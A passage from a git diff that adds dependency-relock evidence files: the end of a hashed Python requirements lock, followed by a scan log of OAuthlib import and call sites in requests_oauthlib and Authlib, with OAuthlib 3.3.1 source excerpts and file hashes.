--hash=sha256:1380560bdba02b6b6c90de54133c81c9f2a453dee9912fe58c1dcced1edb7cff \ + --hash=sha256:139718f35149ff544caba20fce6e8a2f71f1e39b92c700d8438a0b1d2a631a02 \ + --hash=sha256:14291620375b1060613f4aab9ebf21850058b6b1b438f386cc814813d901c60b \ + --hash=sha256:1834bb90991cc2999f10f97f5f01317f99b143284766d197e43cd5b45eb18d03 \ + --hash=sha256:1ab72135b1f2db3fed3997d7e7dc1b80573c67138023852b6efb336a5eae6511 \ + --hash=sha256:1e7ce67c34138a058fd092f67d07a72b8e31ff0c9236e751957465a24b28910c \ + --hash=sha256:1e8fbaa7cec507aa24ea27a01456e8dd4b6fab829059b69844bd348f2d467124 \ + --hash=sha256:22965c2af250d20c873cdbee8ff958fb809940aeb2e74ba5f20aaf6b7ac8c70c \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 26ms diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt new file mode 100644 index 000000000..2b91694b0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt @@ -0,0 +1,486 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +cwd: +started_utc: 2026-09-30T15:51:08.863708+00:00 +ended_utc: 2026-09-30T15:51:41.188219+00:00 +exit_code: 0 + +stdout: +# installed closure excluding OAuthlib itself and installer tooling: 10684 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py 